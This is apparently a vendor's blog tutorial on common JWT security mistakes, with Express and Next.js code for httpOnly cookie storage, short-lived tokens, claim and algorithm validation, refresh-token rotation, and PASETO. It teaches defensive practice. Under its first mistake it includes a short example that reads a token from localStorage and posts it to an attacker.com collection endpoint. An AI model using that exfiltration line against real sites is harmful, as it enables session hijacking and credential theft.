Tutorials
11 min read

JWT Authentication in 2026: What Most Tutorials Get Wrong

Common JWT mistakes that compromise security, and the correct patterns for token storage, rotation, and validation. Includes Express and Next.js code examples.

Transactional Team
Feb 3, 2026
11 min read
Share
JWT Authentication in 2026: What Most Tutorials Get Wrong

A review of top-ranking JWT tutorials reveals a troubling pattern. The majority store tokens in localStorage. Many do not validate the issuer claim. Several use tokens that never expire.

These are not edge cases. These are the tutorials developers actually follow when implementing auth. And every one of those patterns is a security vulnerability.

Here is what most JWT tutorials get wrong, and how to do it correctly.

What You Will Learn

  • The most common JWT security mistakes
  • Correct token storage with httpOnly cookies
  • Short-lived access tokens with refresh token rotation
  • Proper claim validation
  • PASETO as a simpler alternative
  • Working code for Express and Next.js

JWT Vulnerability Frequency in Top Tutorials

localStorage Storage
79
No Issuer Validation
57
No Token Expiry
36
No Refresh Rotation
71
No Algorithm Pinning
43

Mistake 1: Storing Tokens in localStorage

This is the most widespread mistake. Almost every beginner tutorial does this:

// WRONG - localStorage is accessible to any JavaScript on the page
localStorage.setItem('token', response.data.token);
 
// Any XSS vulnerability can steal the token
const stolen = localStorage.getItem('token');
await fetch('https://attacker.com/collect', {
  method: 'POST',
  body: stolen,
});

If your site has a single XSS vulnerability -- one unsanitized user input, one compromised third-party script -- an attacker can read every token from localStorage and hijack every active session.

The Correct Approach: httpOnly Cookies

// Express - Set token as httpOnly cookie
import { Response } from 'express';
 
function setAuthCookies(res: Response, accessToken: string, refreshToken: string) {
  res.cookie('access_token', accessToken, {
    httpOnly: true,    // JavaScript cannot read this
    secure: true,      // HTTPS only
    sameSite: 'lax',   // CSRF protection
    maxAge: 15 * 60 * 1000, // 15 minutes
    path: '/',
  });
 
  res.cookie('refresh_token', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
    path: '/api/auth/refresh', // only sent to refresh endpoint
  });
}

httpOnly cookies cannot be read by JavaScript. Even if an attacker finds an XSS vulnerability, they cannot extract the token. The cookie is automatically sent with requests and automatically managed by the browser.

Mistake 2: Tokens That Never Expire

// WRONG - token valid forever
const token = jwt.sign({ userId: user.id }, SECRET);
 
// Also wrong - 30-day expiry for an access token
const token = jwt.sign({ userId: user.id }, SECRET, {
  expiresIn: '30d',
});

If a token with no expiry is leaked, the attacker has permanent access. There is no way to revoke it without changing the signing key, which invalidates every token for every user.

The Correct Approach: Short Access + Long Refresh

import jwt from 'jsonwebtoken';
import { randomBytes } from 'crypto';
 
interface TokenPair {
  accessToken: string;
  refreshToken: string;
}
 
function generateTokenPair(userId: string, sessionId: string): TokenPair {
  // Access token: short-lived, contains user claims
  const accessToken = jwt.sign(
    {
      sub: userId,
      sid: sessionId,
      type: 'access',
    },
    process.env.JWT_ACCESS_SECRET!,
    {
      expiresIn: '15m',
      issuer: 'https://api.yourdomain.com',
      audience: 'https://app.yourdomain.com',
    }
  );
 
  // Refresh token: longer-lived, used only to get new access tokens
  const refreshToken = jwt.sign(
    {
      sub: userId,
      sid: sessionId,
      type: 'refresh',
      jti: randomBytes(16).toString('hex'), // unique ID for revocation
    },
    process.env.JWT_REFRESH_SECRET!,
    {
      expiresIn: '7d',
      issuer: 'https://api.yourdomain.com',
    }
  );
 
  return { accessToken, refreshToken };
}

Access tokens expire in 15 minutes. If one is leaked, the window of exposure is small. Refresh tokens last 7 days and are used only to get new access tokens. They are stored in a more restrictive cookie that is only sent to the refresh endpoint.

Mistake 3: Not Validating Claims

// WRONG - only verifies signature, ignores claims
const decoded = jwt.verify(token, SECRET);

A valid signature does not mean the token is appropriate for your use case. You need to verify the issuer, audience, and token type.

The Correct Approach: Full Claim Validation

function verifyAccessToken(token: string) {
  try {
    const decoded = jwt.verify(token, process.env.JWT_ACCESS_SECRET!, {
      issuer: 'https://api.yourdomain.com',
      audience: 'https://app.yourdomain.com',
      algorithms: ['HS256'], // explicitly specify allowed algorithms
    });
 
    // Verify it is an access token, not a refresh token
    if (decoded.type !== 'access') {
      throw new Error('Invalid token type');
    }
 
    return decoded;
  } catch (error) {
    if (error instanceof jwt.TokenExpiredError) {
      throw new AuthError('TOKEN_EXPIRED', 'Access token expired');
    }
    if (error instanceof jwt.JsonWebTokenError) {
      throw new AuthError('INVALID_TOKEN', 'Invalid access token');
    }
    throw error;
  }
}

The algorithms option is critical. Without it, an attacker can change the algorithm header to none and bypass signature verification entirely. This is a real vulnerability that has been exploited in the wild.

Mistake 4: No Token Rotation

If a refresh token is compromised, the attacker can generate access tokens indefinitely until the refresh token expires. Token rotation detects this.

The Correct Approach: Rotate on Every Refresh

// Token refresh endpoint with rotation
async function handleRefresh(req: Request, res: Response) {
  const refreshToken = req.cookies.refresh_token;
  if (!refreshToken) {
    return res.status(401).json({ error: 'No refresh token' });
  }
 
  try {
    const decoded = jwt.verify(
      refreshToken,
      process.env.JWT_REFRESH_SECRET!,
      {
        issuer: 'https://api.yourdomain.com',
        algorithms: ['HS256'],
      }
    );
 
    if (decoded.type !== 'refresh') {
      return res.status(401).json({ error: 'Invalid token type' });
    }
 
    // Check if this refresh token has been used before
    const tokenRecord = await db.query.refreshTokens.findFirst({
      where: eq(refreshTokens.jti, decoded.jti),
    });
 
    if (!tokenRecord) {
      // Token not found - might be revoked
      return res.status(401).json({ error: 'Token revoked' });
    }
 
    if (tokenRecord.used) {
      // THEFT DETECTED: This token was already used.
      // Revoke the entire session.
      await db
        .update(refreshTokens)
        .set({ revoked: true })
        .where(eq(refreshTokens.sessionId, decoded.sid));
 
      clearAuthCookies(res);
      return res.status(401).json({
        error: 'Token reuse detected. Session revoked.',
      });
    }
 
    // Mark current token as used
    await db
      .update(refreshTokens)
      .set({ used: true })
      .where(eq(refreshTokens.jti, decoded.jti));
 
    // Generate new token pair
    const newTokens = generateTokenPair(decoded.sub, decoded.sid);
 
    // Store new refresh token
    const newDecoded = jwt.decode(newTokens.refreshToken) as any;
    await db.insert(refreshTokens).values({
      jti: newDecoded.jti,
      sessionId: decoded.sid,
      userId: decoded.sub,
      expiresAt: new Date(newDecoded.exp * 1000),
    });
 
    setAuthCookies(res, newTokens.accessToken, newTokens.refreshToken);
    return res.json({ ok: true });
  } catch {
    clearAuthCookies(res);
    return res.status(401).json({ error: 'Invalid refresh token' });
  }
}

The key insight: every refresh token is single-use. When a refresh token is used, it is marked as consumed, and a new one is issued. If someone tries to reuse a consumed token, it means either the legitimate user or an attacker is using a stolen token. The safest response is to revoke the entire session.

Middleware for Next.js

Here is a complete middleware implementation for Next.js App Router:

// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
import { jwtVerify } from 'jose';
 
const ACCESS_SECRET = new TextEncoder().encode(
  process.env.JWT_ACCESS_SECRET!
);
 
const PUBLIC_PATHS = ['/login', '/register', '/forgot-password', '/api/auth'];
 
export async function middleware(request: NextRequest) {
  const { pathname } = request.nextUrl;
 
  // Skip auth for public paths
  if (PUBLIC_PATHS.some((p) => pathname.startsWith(p))) {
    return NextResponse.next();
  }
 
  const accessToken = request.cookies.get('access_token')?.value;
 
  if (!accessToken) {
    return redirectToLogin(request);
  }
 
  try {
    const { payload } = await jwtVerify(accessToken, ACCESS_SECRET, {
      issuer: 'https://api.yourdomain.com',
      audience: 'https://app.yourdomain.com',
      algorithms: ['HS256'],
    });
 
    // Add user info to headers for downstream use
    const response = NextResponse.next();
    response.headers.set('x-user-id', payload.sub as string);
    response.headers.set('x-session-id', payload.sid as string);
    return response;
  } catch {
    // Token expired or invalid - try refresh
    return redirectToLogin(request);
  }
}
 
function redirectToLogin(request: NextRequest) {
  const url = request.nextUrl.clone();
  url.pathname = '/login';
  url.searchParams.set('redirect', request.nextUrl.pathname);
  return NextResponse.redirect(url);
}
 
export const config = {
  matcher: ['/dashboard/:path*', '/api/v1/:path*'],
};

Note: Next.js middleware uses the Web Crypto API (jose library) instead of Node.js jsonwebtoken because middleware runs on the Edge runtime.

Consider PASETO Instead

PASETO (Platform-Agnostic Security Tokens) is a simpler alternative to JWT that eliminates several classes of vulnerabilities by design:

import { V4 } from 'paseto';
 
// PASETO v4 - no algorithm confusion attacks possible
const token = await V4.sign(
  {
    sub: userId,
    iss: 'https://api.yourdomain.com',
    aud: 'https://app.yourdomain.com',
    exp: new Date(Date.now() + 15 * 60 * 1000).toISOString(),
  },
  privateKey
);
 
const payload = await V4.verify(token, publicKey, {
  issuer: 'https://api.yourdomain.com',
  audience: 'https://app.yourdomain.com',
});

PASETO does not allow alg: none, does not support symmetric/asymmetric confusion, and uses versioned protocols so you cannot accidentally use a weak algorithm. If you are starting a new project and do not need JWT specifically for interoperability, PASETO is worth considering.

Summary Checklist

  • Tokens stored in httpOnly, secure, sameSite cookies (never localStorage)
  • Access tokens expire in 15 minutes or less
  • Refresh tokens are single-use with rotation
  • Token reuse triggers session revocation
  • Issuer, audience, and algorithm are validated on every verification
  • Refresh token cookie path is restricted to the refresh endpoint
  • CSRF protection via sameSite cookie attribute

The Takeaway

JWT is not inherently insecure. The problem is that most tutorials teach it incorrectly, and the defaults are permissive. Short-lived access tokens, httpOnly cookies, refresh token rotation, and proper claim validation are not optional security hardening. They are the baseline.

If you want authentication without managing token infrastructure yourself, Transactional's Auth module handles token lifecycle, rotation, and session management out of the box. But if you are implementing JWT yourself, the patterns above will keep you out of trouble.

Written by

Transactional Team

Share
Tags:
tutorial
auth
jwt
security

YOUR AGENTS DESERVE
REAL INFRASTRUCTURE.

START BUILDING AGENTS THAT DO REAL WORK.

Deploy Your First Agent